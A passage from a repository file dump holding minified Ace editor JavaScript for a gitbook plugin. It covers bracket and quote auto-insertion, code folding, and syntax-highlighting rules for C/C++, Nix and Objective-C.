l=r.$findOpeningBracket(\"]\",{column:u.column+1,row:u.row});if(l!==null&&p.isAutoInsertedClosing(u,a,i))return p.popAutoInsertedClosing(),{text:\"\",selection:[1,1]}}}}),this.add(\"brackets\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&s==\"[\"){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.start.column+1,i.start.column+2);if(u==\"]\")return i.end.column++,i}}),this.add(\"string_dquotes\",\"insertion\",function(e,t,n,r,i){if(i=='\"'||i==\"'\"){c(n);var s=i,o=n.getSelectionRange(),u=r.doc.getTextRange(o);if(u!==\"\"&&u!==\"'\"&&u!='\"'&&n.getWrapBehavioursEnabled())return h(o,u,s,s);if(!u){var a=n.getCursorPosition(),f=r.doc.getLine(a.row),l=f.substring(a.column-1,a.column),p=f.substring(a.column,a.column+1),d=r.getTokenAt(a.row,a.column),v=r.getTokenAt(a.row,a.column+1);if(l==\"\\\\\"&&d&&/escape/.test(d.type))return null;var m=d&&/string|escape/.test(d.type),g=!v||/string|escape/.test(v.type),y;if(p==s)y=m!==g;else{if(m&&!g)return null;if(m&&g)return null;var b=r.$mode.tokenRe;b.lastIndex=0;var w=b.test(l);b.lastIndex=0;var E=b.test(l);if(w||E)return null;if(p&&!/[\\s;,.})\\]\\\\]/.test(p))return null;y=!0}return{text:y?s+s:\"\",selection:[1,1]}}}}),this.add(\"string_dquotes\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&(s=='\"'||s==\"'\")){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.start.column+1,i.start.column+2);if(u==s)return i.end.column++,i}})};p.isSaneInsertion=function(e,t){var n=e.getCursorPosition(),r=new s(t,n.row,n.column);if(!this.$matchTokenType(r.getCurrentToken()||\"text\",u)){var i=new s(t,n.row,n.column+1);if(!this.$matchTokenType(i.getCurrentToken()||\"text\",u))return!1}return r.stepForward(),r.getCurrentTokenRow()!==n.row||this.$matchTokenType(r.getCurrentToken()||\"text\",a)},p.$matchTokenType=function(e,t){return t.indexOf(e.type||e)>-1},p.recordAutoInsert=function(e,t,n){var r=e.getCursorPosition(),i=t.doc.getLine(r.row);this.isAutoInsertedClosing(r,i,f.autoInsertedLineEnd[0])||(f.autoInsertedBrackets=0),f.autoInsertedRow=r.row,f.autoInsertedLineEnd=n+i.substr(r.column),f.autoInsertedBrackets++},p.recordMaybeInsert=function(e,t,n){var r=e.getCursorPosition(),i=t.doc.getLine(r.row);this.isMaybeInsertedClosing(r,i)||(f.maybeInsertedBrackets=0),f.maybeInsertedRow=r.row,f.maybeInsertedLineStart=i.substr(0,r.column)+n,f.maybeInsertedLineEnd=i.substr(r.column),f.maybeInsertedBrackets++},p.isAutoInsertedClosing=function(e,t,n){return f.autoInsertedBrackets>0&&e.row===f.autoInsertedRow&&n===f.autoInsertedLineEnd[0]&&t.substr(e.column)===f.autoInsertedLineEnd},p.isMaybeInsertedClosing=function(e,t){return f.maybeInsertedBrackets>0&&e.row===f.maybeInsertedRow&&t.substr(e.column)===f.maybeInsertedLineEnd&&t.substr(0,e.column)==f.maybeInsertedLineStart},p.popAutoInsertedClosing=function(){f.autoInsertedLineEnd=f.autoInsertedLineEnd.substr(1),f.autoInsertedBrackets--},p.clearMaybeInsertedClosing=function(){f&&(f.maybeInsertedBrackets=0,f.maybeInsertedRow=-1)},r.inherits(p,i),t.CstyleBehaviour=p}),define(\"ace/mode/folding/cstyle\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/range\",\"ace/mode/folding/fold_mode\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"../../range\").Range,s=e(\"./fold_mode\").FoldMode,o=t.FoldMode=function(e){e&&(this.foldingStartMarker=new RegExp(this.foldingStartMarker.source.replace(/\\|[^|]*?$/,\"|\"+e.start)),this.foldingStopMarker=new RegExp(this.foldingStopMarker.source.replace(/\\|[^|]*?$/,\"|\"+e.end)))};r.inherits(o,s),function(){this.foldingStartMarker=/(\\{|\\[)[^\\}\\]]*$|^\\s*(\\/\\*)/,this.foldingStopMarker=/^[^\\[\\{]*(\\}|\\])|^[\\s\\*]*(\\*\\/)/,this.singleLineBlockCommentRe=/^\\s*(\\/\\*).*\\*\\/\\s*$/,this.tripleStarBlockCommentRe=/^\\s*(\\/\\*\\*\\*).*\\*\\/\\s*$/,this.startRegionRe=/^\\s*(\\/\\*|\\/\\/)#?region\\b/,this._getFoldWidgetBase=this.getFoldWidget,this.getFoldWidget=function(e,t,n){var r=e.getLine(n);if(this.singleLineBlockCommentRe.test(r)&&!this.startRegionRe.test(r)&&!this.tripleStarBlockCommentRe.test(r))return\"\";var i=this._getFoldWidgetBase(e,t,n);return!i&&this.startRegionRe.test(r)?\"start\":i},this.getFoldWidgetRange=function(e,t,n,r){var i=e.getLine(n);if(this.startRegionRe.test(i))return this.getCommentRegionBlock(e,i,n);var s=i.match(this.foldingStartMarker);if(s){var o=s.index;if(s[1])return this.openingBracketBlock(e,s[1],n,o);var u=e.getCommentFoldRange(n,o+s[0].length,1);return u&&!u.isMultiLine()&&(r?u=this.getSectionRange(e,n):t!=\"all\"&&(u=null)),u}if(t===\"markbegin\")return;var s=i.match(this.foldingStopMarker);if(s){var o=s.index+s[0].length;return s[1]?this.closingBracketBlock(e,s[1],n,o):e.getCommentFoldRange(n,o,-1)}},this.getSectionRange=function(e,t){var n=e.getLine(t),r=n.search(/\\S/),s=t,o=n.length;t+=1;var u=t,a=e.getLength();while(++t<a){n=e.getLine(t);var f=n.search(/\\S/);if(f===-1)continue;if(r>f)break;var l=this.getFoldWidgetRange(e,\"all\",t);if(l){if(l.start.row<=s)break;if(l.isMultiLine())t=l.end.row;else if(r==f)break}u=t}return new i(s,o,u,e.getLine(u).length)},this.getCommentRegionBlock=function(e,t,n){var r=t.search(/\\s*$/),s=e.getLength(),o=n,u=/^\\s*(?:\\/\\*|\\/\\/|--)#?(end)?region\\b/,a=1;while(++n<s){t=e.getLine(n);var f=u.exec(t);if(!f)continue;f[1]?a--:a++;if(!a)break}var l=n;if(l>o)return new i(o,r,l,t.length)}}.call(o.prototype)}),define(\"ace/mode/c_cpp\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text\",\"ace/mode/c_cpp_highlight_rules\",\"ace/mode/matching_brace_outdent\",\"ace/range\",\"ace/mode/behaviour/cstyle\",\"ace/mode/folding/cstyle\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text\").Mode,s=e(\"./c_cpp_highlight_rules\").c_cppHighlightRules,o=e(\"./matching_brace_outdent\").MatchingBraceOutdent,u=e(\"../range\").Range,a=e(\"./behaviour/cstyle\").CstyleBehaviour,f=e(\"./folding/cstyle\").FoldMode,l=function(){this.HighlightRules=s,this.$outdent=new o,this.$behaviour=new a,this.foldingRules=new f};r.inherits(l,i),function(){this.lineCommentStart=\"//\",this.blockComment={start:\"/*\",end:\"*/\"},this.getNextLineIndent=function(e,t,n){var r=this.$getIndent(t),i=this.getTokenizer().getLineTokens(t,e),s=i.tokens,o=i.state;if(s.length&&s[s.length-1].type==\"comment\")return r;if(e==\"start\"){var u=t.match(/^.*[\\{\\(\\[]\\s*$/);u&&(r+=n)}else if(e==\"doc-start\"){if(o==\"start\")return\"\";var u=t.match(/^\\s*(\\/?)\\*/);u&&(u[1]&&(r+=\" \"),r+=\"* \")}return r},this.checkOutdent=function(e,t,n){return this.$outdent.checkOutdent(t,n)},this.autoOutdent=function(e,t,n){this.$outdent.autoOutdent(t,n)},this.$id=\"ace/mode/c_cpp\"}.call(l.prototype),t.Mode=l}),define(\"ace/mode/nix_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text_highlight_rules\").TextHighlightRules,s=function(){var e=\"true|false\",t=\"with|import|if|else|then|inherit\",n=\"let|in|rec\",r=this.createKeywordMapper({\"constant.language.nix\":e,\"keyword.control.nix\":t,\"keyword.declaration.nix\":n},\"identifier\");this.$rules={start:[{token:\"comment\",regex:/#.*$/},{token:\"comment\",regex:/\\/\\*/,next:\"comment\"},{token:\"constant\",regex:\"<[^>]+>\"},{regex:\"(==|!=|<=?|>=?)\",token:[\"keyword.operator.comparison.nix\"]},{regex:\"((?:[+*/%-]|\\\\~)=)\",token:[\"keyword.operator.assignment.arithmetic.nix\"]},{regex:\"=\",token:\"keyword.operator.assignment.nix\"},{token:\"string\",regex:\"''\",next:\"qqdoc\"},{token:\"string\",regex:\"'\",next:\"qstring\"},{token:\"string\",regex:'\"',push:\"qqstring\"},{token:\"constant.numeric\",regex:\"0[xX][0-9a-fA-F]+\\\\b\"},{token:\"constant.numeric\",regex:\"[+-]?\\\\d+(?:(?:\\\\.\\\\d*)?(?:[eE][+-]?\\\\d+)?)?\\\\b\"},{token:r,regex:\"[a-zA-Z_$][a-zA-Z0-9_$]*\\\\b\"},{regex:\"}\",token:function(e,t,n){return n[1]&&n[1].charAt(0)==\"q\"?\"constant.language.escape\":\"text\"},next:\"pop\"}],comment:[{token:\"comment\",regex:\".*?\\\\*\\\\/\",next:\"start\"},{token:\"comment\",regex:\".+\"}],qqdoc:[{token:\"constant.language.escape\",regex:/\\$\\{/,push:\"start\"},{token:\"string\",regex:\"''\",next:\"pop\"},{defaultToken:\"string\"}],qqstring:[{token:\"constant.language.escape\",regex:/\\$\\{/,push:\"start\"},{token:\"string\",regex:'\"',next:\"pop\"},{defaultToken:\"string\"}],qstring:[{token:\"constant.language.escape\",regex:/\\$\\{/,push:\"start\"},{token:\"string\",regex:\"'\",next:\"pop\"},{defaultToken:\"string\"}]},this.normalizeRules()};r.inherits(s,i),t.NixHighlightRules=s}),define(\"ace/mode/nix\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/c_cpp\",\"ace/mode/nix_highlight_rules\",\"ace/mode/folding/cstyle\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./c_cpp\").Mode,s=e(\"./nix_highlight_rules\").NixHighlightRules,o=e(\"./folding/cstyle\").FoldMode,u=function(){i.call(this),this.HighlightRules=s,this.foldingRules=new o};r.inherits(u,i),function(){this.lineCommentStart=\"#\",this.blockComment={start:\"/*\",end:\"*/\"},this.$id=\"ace/mode/nix\"}.call(u.prototype),t.Mode=u})"
  },
  {
    "path": "docs/gitbook/gitbook-plugin-ace/ace/mode-objectivec.js",
    "content": "define(\"ace/mode/doc_comment_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text_highlight_rules\").TextHighlightRules,s=function(){this.$rules={start:[{token:\"comment.doc.tag\",regex:\"@[\\\\w\\\\d_]+\"},s.getTagRule(),{defaultToken:\"comment.doc\",caseInsensitive:!0}]}};r.inherits(s,i),s.getTagRule=function(e){return{token:\"comment.doc.tag.storage.type\",regex:\"\\\\b(?:TODO|FIXME|XXX|HACK)\\\\b\"}},s.getStartRule=function(e){return{token:\"comment.doc\",regex:\"\\\\/\\\\*(?=\\\\*)\",next:e}},s.getEndRule=function(e){return{token:\"comment.doc\",regex:\"\\\\*\\\\/\",next:e}},t.DocCommentHighlightRules=s}),define(\"ace/mode/c_cpp_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/doc_comment_highlight_rules\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./doc_comment_highlight_rules\").DocCommentHighlightRules,s=e(\"./text_highlight_rules\").TextHighlightRules,o=t.cFunctions=\"\\\\b(?:hypot(?:f|l)?|s(?:scanf|ystem|nprintf|ca(?:nf|lb(?:n(?:f|l)?|ln(?:f|l)?))|i(?:n(?:h(?:f|l)?|f|l)?|gn(?:al|bit))|tr(?:s(?:tr|pn)|nc(?:py|at|mp)|c(?:spn|hr|oll|py|at|mp)|to(?:imax|d|u(?:l(?:l)?|max)|k|f|l(?:d|l)?)|error|pbrk|ftime|len|rchr|xfrm)|printf|et(?:jmp|vbuf|locale|buf)|qrt(?:f|l)?|w(?:scanf|printf)|rand)|n(?:e(?:arbyint(?:f|l)?|xt(?:toward(?:f|l)?|after(?:f|l)?))|an(?:f|l)?)|c(?:s(?:in(?:h(?:f|l)?|f|l)?|qrt(?:f|l)?)|cos(?:h(?:f)?|f|l)?|imag(?:f|l)?|t(?:ime|an(?:h(?:f|l)?|f|l)?)|o(?:s(?:h(?:f|l)?|f|l)?|nj(?:f|l)?|pysign(?:f|l)?)|p(?:ow(?:f|l)?|roj(?:f|l)?)|e(?:il(?:f|l)?|xp(?:f|l)?)|l(?:o(?:ck|g(?:f|l)?)|earerr)|a(?:sin(?:h(?:f|l)?|f|l)?|cos(?:h(?:f|l)?|f|l)?|tan(?:h(?:f|l)?|f|l)?|lloc|rg(?:f|l)?|bs(?:f|l)?)|real(?:f|l)?|brt(?:f|l)?)|t(?:ime|o(?:upper|lower)|an(?:h(?:f|l)?|f|l)?|runc(?:f|l)?|gamma(?:f|l)?|mp(?:nam|file))|i(?:s(?:space|n(?:ormal|an)|cntrl|inf|digit|u(?:nordered|pper)|p(?:unct|rint)|finite|w(?:space|c(?:ntrl|type)|digit|upper|p(?:unct|rint)|lower|al(?:num|pha)|graph|xdigit|blank)|l(?:ower|ess(?:equal|greater)?)|al(?:num|pha)|gr(?:eater(?:equal)?|aph)|xdigit|blank)|logb(?:f|l)?|max(?:div|abs))|di(?:v|fftime)|_Exit|unget(?:c|wc)|p(?:ow(?:f|l)?|ut(?:s|c(?:har)?|wc(?:har)?)|error|rintf)|e(?:rf(?:c(?:f|l)?|f|l)?|x(?:it|p(?:2(?:f|l)?|f|l|m1(?:f|l)?)?))|v(?:s(?:scanf|nprintf|canf|printf|w(?:scanf|printf))|printf|f(?:scanf|printf|w(?:scanf|printf))|w(?:scanf|printf)|a_(?:start|copy|end|arg))|qsort|f(?:s(?:canf|e(?:tpos|ek))|close|tell|open|dim(?:f|l)?|p(?:classify|ut(?:s|c|w(?:s|c))|rintf)|e(?:holdexcept|set(?:e(?:nv|xceptflag)|round)|clearexcept|testexcept|of|updateenv|r(?:aiseexcept|ror)|get(?:e(?:nv|xceptflag)|round))|flush|w(?:scanf|ide|printf|rite)|loor(?:f|l)?|abs(?:f|l)?|get(?:s|c|pos|w(?:s|c))|re(?:open|e|ad|xp(?:f|l)?)|m(?:in(?:f|l)?|od(?:f|l)?|a(?:f|l|x(?:f|l)?)?))|l(?:d(?:iv|exp(?:f|l)?)|o(?:ngjmp|cal(?:time|econv)|g(?:1(?:p(?:f|l)?|0(?:f|l)?)|2(?:f|l)?|f|l|b(?:f|l)?)?)|abs|l(?:div|abs|r(?:int(?:f|l)?|ound(?:f|l)?))|r(?:int(?:f|l)?|ound(?:f|l)?)|gamma(?:f|l)?)|w(?:scanf|c(?:s(?:s(?:tr|pn)|nc(?:py|at|mp)|c(?:spn|hr|oll|py|at|mp)|to(?:imax|d|u(?:l(?:l)?|max)|k|f|l(?:d|l)?|mbs)|pbrk|ftime|len|r(?:chr|tombs)|xfrm)|to(?:b|mb)|rtomb)|printf|mem(?:set|c(?:hr|py|mp)|move))|a(?:s(?:sert|ctime|in(?:h(?:f|l)?|f|l)?)|cos(?:h(?:f|l)?|f|l)?|t(?:o(?:i|f|l(?:l)?)|exit|an(?:h(?:f|l)?|2(?:f|l)?|f|l)?)|b(?:s|ort))|g(?:et(?:s|c(?:har)?|env|wc(?:har)?)|mtime)|r(?:int(?:f|l)?|ound(?:f|l)?|e(?:name|alloc|wind|m(?:ove|quo(?:f|l)?|ainder(?:f|l)?))|a(?:nd|ise))|b(?:search|towc)|m(?:odf(?:f|l)?|em(?:set|c(?:hr|py|mp)|move)|ktime|alloc|b(?:s(?:init|towcs|rtowcs)|towc|len|r(?:towc|len))))\\\\b\",u=function(){var e=\"break|case|continue|default|do|else|for|goto|if|_Pragma|return|switch|while|catch|operator|try|throw|using\",t=\"asm|__asm__|auto|bool|_Bool|char|_Complex|double|enum|float|_Imaginary|int|long|short|signed|struct|typedef|union|unsigned|void|class|wchar_t|template|char16_t|char32_t\",n=\"const|extern|register|restrict|static|volatile|inline|private|protected|public|friend|explicit|virtual|export|mutable|typename|constexpr|new|delete|alignas|alignof|decltype|noexcept|thread_local\",r=\"and|and_eq|bitand|bitor|compl|not|not_eq|or|or_eq|typeid|xor|xor_eqconst_cast|dynamic_cast|reinterpret_cast|static_cast|sizeof|namespace\",s=\"NULL|true|false|TRUE|FALSE|nullptr\",u=this.$keywords=this.createKeywordMapper({\"keyword.control\":e,\"storage.type\":t,\"storage.modifier\":n,\"keyword.operator\":r,\"variable.language\":\"this\",\"constant.language\":s},\"identifier\"),a=\"[a-zA-Z\\\\$_\\u00a1-\\uffff][a-zA-Zd\\\\$_\\u00a1-\\uffff]*\\\\b\";this.$rules={start:[{token:\"comment\",regex:\"//$\",next:\"start\"},{token:\"comment\",regex:\"//\",next:\"singleLineComment\"},i.getStartRule(\"doc-start\"),{token:\"comment\",regex:\"\\\\/\\\\*\",next:\"comment\"},{token:\"string\",regex:'[\"](?:(?:\\\\\\\\.)|(?:[^\"\\\\\\\\]))*?[\"]'},{token:\"string\",regex:'[\"].*\\\\\\\\$',next:\"qqstring\"},{token:\"string\",regex:\"['](?:(?:\\\\\\\\.)|(?:[^'\\\\\\\\]))*?[']\"},{token:\"string\",regex:\"['].*\\\\\\\\$\",next:\"qstring\"},{token:\"constant.numeric\",regex:\"0[xX][0-9a-fA-F]+(L|l|UL|ul|u|U|F|f|ll|LL|ull|ULL)?\\\\b\"},{token:\"constant.numeric\",regex:\"[+-]?\\\\d+(?:(?:\\\\.\\\\d*)?(?:[eE][+-]?\\\\d+)?)?(L|l|UL|ul|u|U|F|f|ll|LL|ull|ULL)?\\\\b\"},{token:\"keyword\",regex:\"#\\\\s*(?:include|import|pragma|line|define|undef)\\\\b\",next:\"directive\"},{token:\"keyword\",regex:\"#\\\\s*(?:endif|if|ifdef|else|elif|ifndef)\\\\b\"},{token:\"support.function.C99.c\",regex:o},{token:u,regex:\"[a-zA-Z_$][a-zA-Z0-9_$]*\\\\b\"},{token:\"keyword.operator\",regex:\"!|\\\\$|%|&|\\\\*|\\\\-\\\\-|\\\\-|\\\\+\\\\+|\\\\+|~|==|=|!=|<=|>=|<<=|>>=|>>>=|<>|<|>|!|&&|\\\\|\\\\||\\\\?\\\\:|\\\\*=|%=|\\\\+=|\\\\-=|&=|\\\\^=|\\\\b(?:in|new|delete|typeof|void)\"},{token:\"punctuation.operator\",regex:\"\\\\?|\\\\:|\\\\,|\\\\;|\\\\.\"},{token:\"paren.lparen\",regex:\"[[({]\"},{token:\"paren.rparen\",regex:\"[\\\\])}]\"},{token:\"text\",regex:\"\\\\s+\"}],comment:[{token:\"comment\",regex:\".*?\\\\*\\\\/\",next:\"start\"},{token:\"comment\",regex:\".+\"}],singleLineComment:[{token:\"comment\",regex:/\\\\$/,next:\"singleLineComment\"},{token:\"comment\",regex:/$/,next:\"start\"},{defaultToken:\"comment\"}],qqstring:[{token:\"string\",regex:'(?:(?:\\\\\\\\.)|(?:[^\"\\\\\\\\]))*?\"',next:\"start\"},{defaultToken:\"string\"}],qstring:[{token:\"string\",regex:\"(?:(?:\\\\\\\\.)|(?:[^'\\\\\\\\]))*?'\",next:\"start\"},{defaultToken:\"string\"}],directive:[{token:\"constant.other.multiline\",regex:/\\\\/},{token:\"constant.other.multiline\",regex:/.*\\\\/},{token:\"constant.other\",regex:\"\\\\s*<.+?>\",next:\"start\"},{token:\"constant.other\",regex:'\\\\s*[\"](?:(?:\\\\\\\\.)|(?:[^\"\\\\\\\\]))*?[\"]',next:\"start\"},{token:\"constant.other\",regex:\"\\\\s*['](?:(?:\\\\\\\\.)|(?:[^'\\\\\\\\]))*?[']\",next:\"start\"},{token:\"constant.other\",regex:/[^\\\\\\/]+/,next:\"start\"}]},this.embedRules(i,\"doc-\",[i.getEndRule(\"start\")])};r.inherits(u,s),t.c_cppHighlightRules=u}),define(\"ace/mode/objectivec_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/doc_comment_highlight_rules\",\"ace/mode/c_cpp_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./doc_comment_highlight_rules\").DocCommentHighlightRules,s=e(\"./c_cpp_highlight_rules\"),o=s.c_cppHighlightRules,u=function(){var e=\"\\\\\\\\(?:[abefnrtv'\\\"?\\\\\\\\]|[0-3]\\\\d{1,2}|[4-7]\\\\d?|222|x[a-zA-Z0-9]+)\",t=[{regex:\"\\\\b_cmd\\\\b\",token:\"variable.other.selector.objc\"},{regex:\"\\\\b(?:self|super)\\\\b\",token:\"variable.language.objc\"}],n=new o,r=n.getRules();this.$rules={start:[{token:\"comment\",regex:\"\\\\/\\\\/.*$\"},i.getStartRule(\"doc-start\"),{token:\"comment\",regex:\"\\\\/\\\\*\",next:\"comment\"},{token:[\"storage.type.objc\",\"punctuation.definition.storage.type.objc\",\"entity.name.type.objc\",\"text\",\"entity.other.inherited-class.objc\"],regex:\"(@)(interface|protocol)(?!.+;)(\\\\s+[A-Za-z_][A-Za-z0-9_]*)(\\\\s*:\\\\s*)([A-Za-z]+)\"},{token:[\"storage.type.objc\"],regex:\"(@end)\"},{token:[\"storage.type.objc\",\"entity.name.type.objc\",\"entity.other.inherited-class.objc\"],regex:\"(@implementation)(\\\\s+[A-Za-z_][A-Za-z0-9_]*)(\\\\s*?::\\\\s*(?:[A-Za-z][A-Za-z0-9]*))?\"},{token:\"string.begin.objc\",regex:'@\"',next:\"constant_NSString\"},{token:\"storage.type.objc\",regex:\"\\\\bid\\\\s*<\",next:\"protocol_list\"},{token:\"keyword.control.macro.objc\",regex:\"\\\\bNS_DURING|NS_HANDLER|NS_ENDHANDLER\\\\b\"},{token:[\"punctuation.definition.keyword.objc\",\"keyword.control.exception.objc\"],regex:\"(@)(try|catch|finally|throw)\\\\b\"},{token:[\"punctuation.definition.keyword.objc\",\"keyword.other.objc\"],regex:\"(@)(defs|encode)\\\\b\"},{token:[\"storage.type.id.objc\",\"text\"],regex:\"(\\\\bid\\\\b)(\\\\s|\\\\n)?\"},{token:\"storage.type.objc\",regex:\"\\\\bIBOutlet|IBAction|BOOL|SEL|id|unichar|IMP|Class\\\\b\"},{token:[\"punctuation.definition.storage.type.objc\",\"storage.type.objc\"],regex:\"(@)(class|protocol)\\\\b\"},{token:[\"punctuation.definition.storage.type.objc\",\"punctuation\"],regex:\"(@selector)(\\\\s*\\\\()\",next:\"selectors\"},{token:[\"punctuation.definition.storage.modifier.objc\",\"storage.modifier.objc\"],regex:\"(@)(synchronized|public|private|protected|package)\\\\b\"},{token:\"constant.language.objc\",regex:\"\\\\bYES|NO|Nil|nil\\\\b\"},{token:\"support.variable.foundation\",regex:\"\\\\bNSApp\\\\b\"},{token:[\"support.function.cocoa.leopard\"],regex:\"(?:\\\\b)(NS(?:Rect(?:ToCGRect|FromCGRect)|MakeCollectable|S(?:tringFromProtocol|ize(?:ToCGSize|FromCGSize))|Draw(?:NinePartImage|ThreePartImage)|P(?:oint(?:ToCGPoint|FromCGPoint)|rotocolFromString)|EventMaskFromType|Value))(?:\\\\b)\"},{token:[\"support.function.cocoa\"],regex:\"(?:\\\\b)(NS(?:R(?:ound(?:DownToMultipleOfPageSize|UpToMultipleOfPageSize)|un(?:CriticalAlertPanel(?:RelativeToWindow)?|InformationalAlertPanel(?:RelativeToWindow)?|AlertPanel(?:RelativeToWindow)?)|e(?:set(?:MapTable|HashTable)|c(?:ycleZone|t(?:Clip(?:List)?|F(?:ill(?:UsingOperation|List(?:UsingOperation|With(?:Grays|Colors(?:UsingOperation)?))?)?|romString))|ordAllocationEvent)|turnAddress|leaseAlertPanel|a(?:dPixel|l(?:MemoryAvailable|locateCollectable))|gisterServicesProvider)|angeFromString)|Get(?:SizeAndAlignment|CriticalAlertPanel|InformationalAlertPanel|UncaughtExceptionHandler|FileType(?:s)?|WindowServerMemory|AlertPanel)|M(?:i(?:n(?:X|Y)|d(?:X|Y))|ouseInRect|a(?:p(?:Remove|Get|Member|Insert(?:IfAbsent|KnownAbsent)?)|ke(?:R(?:ect|ange)|Size|Point)|x(?:Range|X|Y)))|B(?:itsPer(?:SampleFromDepth|PixelFromDepth)|e(?:stDepth|ep|gin(?:CriticalAlertSheet|InformationalAlertSheet|AlertSheet)))|S(?:ho(?:uldRetainWithZone|w(?:sServicesMenuItem|AnimationEffect))|tringFrom(?:R(?:ect|ange)|MapTable|S(?:ize|elector)|HashTable|Class|Point)|izeFromString|e(?:t(?:ShowsServicesMenuItem|ZoneName|UncaughtExceptionHandler|FocusRingStyle)|lectorFromString|archPathForDirectoriesInDomains)|wap(?:Big(?:ShortToHost|IntToHost|DoubleToHost|FloatToHost|Long(?:ToHost|LongToHost))|Short|Host(?:ShortTo(?:Big|Little)|IntTo(?:Big|Little)|DoubleTo(?:Big|Little)|FloatTo(?:Big|Little)|Long(?:To(?:Big|Little)|LongTo(?:Big|Little)))|Int|Double|Float|L(?:ittle(?:ShortToHost|IntToHost|DoubleToHost|FloatToHost|Long(?:ToHost|LongToHost))|ong(?:Long)?)))|H(?:ighlightRect|o(?:stByteOrder|meDirectory(?:ForUser)?)|eight|ash(?:Remove|Get|Insert(?:IfAbsent|KnownAbsent)?)|FSType(?:CodeFromFileType|OfFile))|N(?:umberOfColorComponents|ext(?:MapEnumeratorPair|HashEnumeratorItem))|C(?:o(?:n(?:tainsRect|vert(?:GlyphsToPackedGlyphs|Swapped(?:DoubleToHost|FloatToHost)|Host(?:DoubleToSwapped|FloatToSwapped)))|unt(?:MapTable|HashTable|Frames|Windows(?:ForContext)?)|py(?:M(?:emoryPages|apTableWithZone)|Bits|HashTableWithZone|Object)|lorSpaceFromDepth|mpare(?:MapTables|HashTables))|lassFromString|reate(?:MapTable(?:WithZone)?|HashTable(?:WithZone)?|Zone|File(?:namePboardType|ContentsPboardType)))|TemporaryDirectory|I(?:s(?:ControllerMarker|EmptyRect|FreedObject)|n(?:setRect|crementExtraRefCount|te(?:r(?:sect(?:sRect|ionR(?:ect|ange))|faceStyleForKey)|gralRect)))|Zone(?:Realloc|Malloc|Name|Calloc|Fr(?:omPointer|ee))|O(?:penStepRootDirectory|ffsetRect)|D(?:i(?:sableScreenUpdates|videRect)|ottedFrameRect|e(?:c(?:imal(?:Round|Multiply|S(?:tring|ubtract)|Normalize|Co(?:py|mpa(?:ct|re))|IsNotANumber|Divide|Power|Add)|rementExtraRefCountWasZero)|faultMallocZone|allocate(?:MemoryPages|Object))|raw(?:Gr(?:oove|ayBezel)|B(?:itmap|utton)|ColorTiledRects|TiledRects|DarkBezel|W(?:hiteBezel|indowBackground)|LightBezel))|U(?:serName|n(?:ionR(?:ect|ange)|registerServicesProvider)|pdateDynamicServices)|Java(?:Bundle(?:Setup|Cleanup)|Setup(?:VirtualMachine)?|Needs(?:ToLoadClasses|VirtualMachine)|ClassesF(?:orBundle|romPath)|ObjectNamedInPath|ProvidesClasses)|P(?:oint(?:InRect|FromString)|erformService|lanarFromDepth|ageSize)|E(?:n(?:d(?:MapTableEnumeration|HashTableEnumeration)|umerate(?:MapTable|HashTable)|ableScreenUpdates)|qual(?:R(?:ects|anges)|Sizes|Points)|raseRect|xtraRefCount)|F(?:ileTypeForHFSTypeCode|ullUserName|r(?:ee(?:MapTable|HashTable)|ame(?:Rect(?:WithWidth(?:UsingOperation)?)?|Address)))|Wi(?:ndowList(?:ForContext)?|dth)|Lo(?:cationInRange|g(?:v|PageSize)?)|A(?:ccessibility(?:R(?:oleDescription(?:ForUIElement)?|aiseBadArgumentException)|Unignored(?:Children(?:ForOnlyChild)?|Descendant|Ancestor)|PostNotification|ActionDescription)|pplication(?:Main|Load)|vailableWindowDepths|ll(?:MapTable(?:Values|Keys)|HashTableObjects|ocate(?:MemoryPages|Collectable|Object)))))(?:\\\\b)\"},{token:[\"support.class.cocoa.leopard\"],regex:\"(?:\\\\b)(NS(?:RuleEditor|G(?:arbageCollector|radient)|MapTable|HashTable|Co(?:ndition|llectionView(?:Item)?)|T(?:oolbarItemGroup|extInputClient|r(?:eeNode|ackingArea))|InvocationOperation|Operation(?:Queue)?|D(?:ictionaryController|ockTile)|P(?:ointer(?:Functions|Array)|athC(?:o(?:ntrol(?:Delegate)?|mponentCell)|ell(?:Delegate)?)|r(?:intPanelAccessorizing|edicateEditor(?:RowTemplate)?))|ViewController|FastEnumeration|Animat(?:ionContext|ablePropertyContainer)))(?:\\\\b)\"},{token:[\"support.class.cocoa\"],regex:\"(?:\\\\b)(NS(?:R(?:u(?:nLoop|ler(?:Marker|View))|e(?:sponder|cursiveLock|lativeSpecifier)|an(?:domSpecifier|geSpecifier))|G(?:etCommand|lyph(?:Generator|Storage|Info)|raphicsContext)|XML(?:Node|D(?:ocument|TD(?:Node)?)|Parser|Element)|M(?:iddleSpecifier|ov(?:ie(?:View)?|eCommand)|utable(?:S(?:tring|et)|C(?:haracterSet|opying)|IndexSet|D(?:ictionary|ata)|URLRequest|ParagraphStyle|A(?:ttributedString|rray))|e(?:ssagePort(?:NameServer)?|nu(?:Item(?:Cell)?|View)?|t(?:hodSignature|adata(?:Item|Query(?:ResultGroup|AttributeValueTuple)?)))|a(?:ch(?:BootstrapServer|Port)|trix))|B(?:itmapImageRep|ox|u(?:ndle|tton(?:Cell)?)|ezierPath|rowser(?:Cell)?)|S(?:hadow|c(?:anner|r(?:ipt(?:SuiteR